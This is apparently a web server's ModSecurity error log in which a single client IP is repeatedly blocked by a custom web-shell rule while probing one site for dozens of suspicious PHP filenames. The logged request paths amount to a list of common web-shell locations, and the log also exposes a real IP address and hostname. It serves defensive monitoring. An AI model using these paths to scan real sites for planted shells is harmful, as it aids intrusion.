[Fri Dec 26 01:36:50.429914 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:2942] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU12MlfyLYxv3Jn9S71QbAAAAE0"]
[Fri Dec 26 01:36:50.757762 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:3054] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU12MlfyLYxv3Jn9S71QcAAAAEE"]
[Fri Dec 26 01:36:52.090638 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:2917] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU12NMu59XOK5DpQQdCfpgAAAUg"]
[Fri Dec 26 01:36:52.407261 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:2828] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU12NMu59XOK5DpQQdCfqAAAAUE"]
[Fri Dec 26 01:36:52.812785 2025] [:error] [pid 24864:tid 24920] [client 4.194.153.244:2669] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU12NMu59XOK5DpQQdCfqgAAAUA"]
[Fri Dec 26 01:36:56.312237 2025] [:error] [pid 24946:tid 24968] [client 4.194.153.244:3057] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU12OFfyLYxv3Jn9S71QiAAAAFQ"]
[Fri Dec 26 01:36:56.523793 2025] [:error] [pid 24946:tid 24965] [client 4.194.153.244:2818] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU12OFfyLYxv3Jn9S71QigAAAFE"]
[Fri Dec 26 01:36:56.781860 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:2875] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU12OFfyLYxv3Jn9S71QjAAAAEs"]
[Fri Dec 26 01:36:57.006788 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2847] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU12OVfyLYxv3Jn9S71QjQAAAEk"]
[Fri Dec 26 01:36:57.312964 2025] [:error] [pid 24864:tid 24942] [client 4.194.153.244:2836] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU12Ocu59XOK5DpQQdCfuQAAAVY"]
[Fri Dec 26 01:36:57.575848 2025] [:error] [pid 24862:tid 24882] [client 4.194.153.244:2831] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU12Obt-eeEEuo-2JKg2NwAAABA"]
[Fri Dec 26 01:36:57.834213 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:2941] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU12Ocu59XOK5DpQQdCfuwAAAVc"]
[Fri Dec 26 01:36:58.136629 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:2843] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU12Osu59XOK5DpQQdCfvAAAAUk"]
[Fri Dec 26 01:36:58.422475 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2830] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU12OlfyLYxv3Jn9S71QlAAAAFM"]
[Fri Dec 26 01:36:58.723198 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:2839] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU12Ort-eeEEuo-2JKg2PgAAAAQ"]
[Fri Dec 26 01:36:59.008045 2025] [:error] [pid 24862:tid 24890] [client 4.194.153.244:3067] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU12O7t-eeEEuo-2JKg2QAAAABg"]
[Fri Dec 26 01:36:59.271349 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:2863] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU12O8u59XOK5DpQQdCfvgAAAUI"]
[Fri Dec 26 01:36:59.511896 2025] [:error] [pid 24863:tid 24907] [client 4.194.153.244:2651] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU12Ox8SaH2KMpp43vfyqgAAAM4"]
[Fri Dec 26 01:36:59.780860 2025] [:error] [pid 24862:tid 24873] [client 4.194.153.244:2761] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU12O7t-eeEEuo-2JKg2QwAAAAc"]
[Fri Dec 26 01:37:00.032462 2025] [:error] [pid 24946:tid 24972] [client 4.194.153.244:2686] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU12PFfyLYxv3Jn9S71QlwAAAFg"]
[Fri Dec 26 01:37:00.325683 2025] [:error] [pid 24863:tid 24916] [client 4.194.153.244:2631] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU12PB8SaH2KMpp43vfyrQAAANc"]
[Fri Dec 26 01:37:00.611886 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:2865] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU12PFfyLYxv3Jn9S71QmQAAAFI"]
[Fri Dec 26 01:37:00.877928 2025] [:error] [pid 24946:tid 24968] [client 4.194.153.244:2844] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU12PFfyLYxv3Jn9S71QmgAAAFQ"]
[Fri Dec 26 01:37:01.171374 2025] [:error] [pid 24863:tid 24917] [client 4.194.153.244:2869] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU12PR8SaH2KMpp43vfysQAAANg"]
[Fri Dec 26 01:37:01.440740 2025] [:error] [pid 24862:tid 24872] [client 4.194.153.244:2949] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU12Pbt-eeEEuo-2JKg2RwAAAAY"]
[Fri Dec 26 01:37:01.807051 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:2924] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU12PVfyLYxv3Jn9S71QoQAAAFc"]
[Fri Dec 26 01:37:02.037358 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:20643] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU12PlfyLYxv3Jn9S71QogAAAEg"]
[Fri Dec 26 01:37:02.287024 2025] [:error] [pid 24946:tid 24948] [client 4.194.153.244:2854] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU12PlfyLYxv3Jn9S71QpgAAAEA"]
[Fri Dec 26 01:37:02.558596 2025] [:error] [pid 24862:tid 24877] [client 4.194.153.244:2685] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU12Prt-eeEEuo-2JKg2SAAAAAs"]
[Fri Dec 26 01:37:02.824917 2025] [:error] [pid 24862:tid 24869] [client 4.194.153.244:2914] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aU12Prt-eeEEuo-2JKg2SQAAAAM"]
[Fri Dec 26 01:37:03.060792 2025] [:error] [pid 24862:tid 24886] [client 4.194.153.244:2779] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aU12P7t-eeEEuo-2JKg2SwAAABQ"]
[Fri Dec 26 01:37:03.292326 2025] [:error] [pid 24862:tid 24888] [client 4.194.153.244:2848] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aU12P7t-eeEEuo-2JKg2TAAAABY"]
[Fri Dec 26 01:37:03.510860 2025] [:error] [pid 24863:tid 24900] [client 4.194.153.244:2676] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aU12Px8SaH2KMpp43vfytgAAAMc"]
[Fri Dec 26 01:37:03.746845 2025] [:error] [pid 24863:tid 24902] [client 4.194.153.244:2652] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU12Px8SaH2KMpp43vfyuAAAAMk"]
[Fri Dec 26 01:37:03.997596 2025] [:error] [pid 24862:tid 24884] [client 4.194.153.244:3003] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU12P7t-eeEEuo-2JKg2TwAAABI"]
[Fri Dec 26 01:37:04.301716 2025] [:error] [pid 24864:tid 24937] [client 4.194.153.244:2673] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU12QMu59XOK5DpQQdCfxQAAAVE"]
[Fri Dec 26 01:37:04.552613 2025] [:error] [pid 24864:tid 24930] [client 4.194.153.244:2645] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU12QMu59XOK5DpQQdCfxgAAAUo"]
[Fri Dec 26 01:37:04.888316 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:2670] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU12QFfyLYxv3Jn9S71QqwAAAFU"]
[Fri Dec 26 01:37:05.126799 2025] [:error] [pid 24862:tid 24867] [client 4.194.153.244:2933] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU12Qbt-eeEEuo-2JKg2UQAAAAE"]
[Fri Dec 26 01:37:05.399690 2025] [:error] [pid 24863:tid 24915] [client 4.194.153.244:2968] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU12QR8SaH2KMpp43vfyvQAAANY"]
[Fri Dec 26 01:37:05.655073 2025] [:error] [pid 24863:tid 24916] [client 4.194.153.244:2913] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU12QR8SaH2KMpp43vfyvgAAANc"]
[Fri Dec 26 01:37:05.931950 2025] [:error] [pid 24863:tid 24910] [client 4.194.153.244:2819] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU12QR8SaH2KMpp43vfyvwAAANE"]
[Fri Dec 26 01:37:06.257388 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:2680] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU12Qh8SaH2KMpp43vfywQAAAMQ"]
[Fri Dec 26 01:37:06.500920 2025] [:error] [pid 24863:tid 24917] [client 4.194.153.244:2880] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU12Qh8SaH2KMpp43vfywgAAANg"]
[Fri Dec 26 01:37:06.749178 2025] [:error] [pid 24862:tid 24883] [client 4.194.153.244:2862] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU12Qrt-eeEEuo-2JKg2VQAAABE"]
[Fri Dec 26 01:37:07.047738 2025] [:error] [pid 24862:tid 24873] [client 4.194.153.244:2857] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aU12Q7t-eeEEuo-2JKg2VwAAAAc"]
[Fri Dec 26 01:37:07.326848 2025] [:error] [pid 24863:tid 24895] [client 4.194.153.244:2904] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aU12Qx8SaH2KMpp43vfywwAAAMI"]
[Fri Dec 26 01:37:07.604836 2025] [:error] [pid 24864:tid 24938] [client 4.194.153.244:2895] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aU12Q8u59XOK5DpQQdCfygAAAVI"]
[Fri Dec 26 01:37:07.934309 2025] [:error] [pid 24863:tid 24899] [client 4.194.153.244:2864] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aU12Qx8SaH2KMpp43vfyxQAAAMY"]
[Fri Dec 26 01:37:08.172139 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:2648] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU12RMu59XOK5DpQQdCfzwAAAUI"]
[Fri Dec 26 01:37:08.460670 2025] [:error] [pid 24864:tid 24920] [client 4.194.153.244:2866] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU12RMu59XOK5DpQQdCf0QAAAUA"]
[Fri Dec 26 01:37:08.640029 2025] [:error] [pid 24864:tid 24933] [client 4.194.153.244:2872] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU12RMu59XOK5DpQQdCf0gAAAU0"]
[Fri Dec 26 01:37:08.815194 2025] [:error] [pid 24864:tid 24935] [client 4.194.153.244:2856] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU12RMu59XOK5DpQQdCf0wAAAU8"]
[Fri Dec 26 01:37:09.102741 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:2822] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aU12RR8SaH2KMpp43vfyyAAAAMw"]
[Fri Dec 26 01:37:09.320595 2025] [:error] [pid 24863:tid 24911] [client 4.194.153.244:2782] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aU12RR8SaH2KMpp43vfyygAAANI"]
[Fri Dec 26 01:37:09.568738 2025] [:error] [pid 24864:tid 24923] [client 4.194.153.244:2783] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aU12Rcu59XOK5DpQQdCf1gAAAUM"]
